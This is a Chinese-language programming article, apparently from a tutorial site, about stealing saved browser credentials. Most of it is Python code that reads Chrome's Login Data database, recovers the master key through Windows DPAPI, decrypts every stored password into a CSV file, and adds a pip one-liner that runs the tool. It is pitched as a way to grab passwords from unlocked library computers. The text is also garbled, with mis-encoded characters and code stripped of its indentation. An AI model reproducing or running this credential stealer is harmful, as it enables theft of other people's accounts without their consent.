基于Python實現(xiàn)一鍵獲取電腦瀏覽器的賬號密碼
導語
發(fā)現(xiàn)很多人在學校圖書館喜歡用電腦占座(以古度今,我好像好多年沒去過學校圖書館了),而且出去的時候經(jīng)常不鎖屏,為了讓大家養(yǎng)成良好的習慣,我來帶大家寫個小程序吧,無需輸入任何密碼就可以快速獲取你存儲在電腦瀏覽器中的所有賬號和密碼,算是通過實踐出真知來給大家提個醒了~
廢話不多說,讓我們愉快地開始吧~
相關文件
開發(fā)工具
Python版本:3.7.8
相關模塊:
pikachupytools模塊;
pycryptodome模塊;
以及一些python自帶的模塊。
環(huán)境搭建
安裝Python并添加到環(huán)境變量,pip安裝需要的相關模塊即可。
原理簡介
眾所周知,我們的瀏覽器里一般存儲了很多我們訪問過的網(wǎng)站的賬號和密碼:

一般情況下,查看這些密碼是需要輸入電腦的開機密碼的。但是事實上,我們也可以通過其他方式直接查看這些賬號密碼。例如谷歌瀏覽器里保存賬號密碼的數(shù)據(jù)庫文件默認路徑為:
os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
我們可以通過讀取該文件獲得對應的賬號密碼:
'''讀取數(shù)據(jù)庫數(shù)據(jù)'''
def readdb(self, dbpath, master_key):
sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
client = sqlite3.connect(dbpath)
cursor = client.cursor()
with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
cursor.execute(sql)
csv_writer = csv.writer(csv_file, dialect=('excel'))
if not self.write_heads_flag:
csv_writer.writerow(self.csv_heads)
self.write_heads_flag = True
info = []
for row in cursor.fetchall():
for idx in range(len(self.csv_heads)):
if isinstance(row[idx], bytes):
info.append(self.decrypt(row[idx], master_key))
else:
info.append(row[idx])
csv_writer.writerow(info)
info = []
cursor.close()
client.close()其中密碼是加密之后的結果,打印出來大概是這樣子的:

但是解密其實也很簡單,通過網(wǎng)上的資料可以知道,我們只需要獲得key值:
'''獲得master key'''
def getmasterkey(self, local_state_path):
import win32crypt
with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
local_state = fp.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key然后根據(jù)key值進行解碼就行了:
'''解碼'''
def decrypt(self, value, master_key):
print(value)
if value[:3] == b'v10':
from Crypto.Cipher import AES
iv, payload = value[3:15], value[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_value = cipher.decrypt(payload)
decrypted_value = decrypted_value[:-16].decode()
else:
import win32crypt
decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
return decrypted_value解碼之后的運行效果結果如下:

獲得的結果默認保存在results.csv中,截圖如下:

ok,大功告成啦,完整源代碼詳見相關文件。
想要快速測試的小伙伴只需要pip安裝一下pikachupytools包:
pip install pikachupytools --upgrade
然后簡單寫幾行代碼就能調用運行了:
from pytools import pytools
tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')到此這篇關于基于Python實現(xiàn)一鍵獲取電腦瀏覽器的賬號密碼的文章就介紹到這了,更多相關Python瀏覽器賬號密碼內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Python實現(xiàn)Smtplib發(fā)送帶有各種附件的郵件實例
本篇文章主要介紹了Python實現(xiàn)Smtplib發(fā)送帶有各種附件的郵件實例,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-06-06
python 通過logging寫入日志到文件和控制臺的實例
下面小編就為大家分享一篇python 通過logging寫入日志到文件和控制臺的實例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-04-04
使用selenium模擬動態(tài)登錄百度頁面的實現(xiàn)
本文主要介紹了使用selenium模擬動態(tài)登錄百度頁面,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2023-05-05
python連接mongodb操作數(shù)據(jù)示例(mongodb數(shù)據(jù)庫配置類)
這篇文章主要介紹了python連接mongodb操作數(shù)據(jù)示例,主要包括插入數(shù)據(jù)、更新數(shù)據(jù)、查詢數(shù)據(jù)、刪除數(shù)據(jù)等2013-12-12

